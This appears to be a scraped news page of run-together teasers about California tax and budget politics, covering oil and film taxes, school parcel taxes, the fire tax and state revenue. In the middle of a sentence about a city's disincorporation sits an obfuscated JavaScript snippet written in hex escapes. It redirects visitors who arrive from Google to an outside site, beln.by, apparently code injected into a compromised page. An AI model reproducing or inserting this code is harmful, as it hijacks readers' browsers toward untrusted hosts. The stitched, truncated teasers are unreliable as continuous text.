Gov. Brown summarily rejected the notion of a per-barrel tax on California oil as it comes from the ground, a move that sharply limits the political options of the tax’s backers who hoped to get a bill through the Legislature to raise perhaps $2 billion annually.
“The LAO says the state is flush with cash and multibillion-dollar reserves loom in coming years. How should we spend the money?”
California’s TV and film tax incentive appears as popular as ever, despite a rash of negative news coverage of an FBI undercover sting of a state senator in which an industry tax break figured as a lure. “The FBI could have picked any topic from any industry to mount a sting,” Assemblymember Raul Bocanegra, D-Los Angeles, said recently at the Hollywood Chamber of Commerce’s 2nd Annual State of the Industry Conference.(Photo: Stan Rudich)
This time, it’s the Arts Council that benefits
(Ed’s Note: This story originally appeared in California City News, a content partner of Capitol Weekly.)
It’s been 40 years since this last happened — the disincorporation of a city in California var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. But this time the circumstances
Lowering the vote threshold for passage of local school parcel taxes would likely allow far more to pass. But there is no evidence that it would expand their use beyond the sort of wealthy Bay Area school districts that already have them. These are the key findings of a report released today by the Public Policy Institute of California (PPIC). The report assesses the potential effect of reducing the vote required to pass these taxes from two-thirds to 55 percent—a proposal the state legislature has been discussing. Although a parcel tax is one of the only local revenue options available to school districts, these taxes are not widespread. Only about 10 percent of districts have passed one, and the money raised amounts to less than 1 percent of total K–12 revenue.
Across California, some six dozen community college districts – locally administering 112 schools, the largest higher education institution in the country – were scrambling for $90 million.
A record $16 billion in income tax revenue will flow into state coffers during April, according to predictions in Gov. Jerry Brown’s January budget plan.
About $5 billion of that $16 billion comes from higher taxes approved by voters
As the weather heats up, a Capitol debate is heating up, too — on the hotly disputed ‘fire tax.’
The $150 annual charge on some 850,000 rural property owners is on the books, despite delays in collections, court action
What if a corporation raised $500 million in a securities offering on the premise that the proceeds would go for operating expenses, then disclosed a few months later that $300 million of this amount would instead be used to service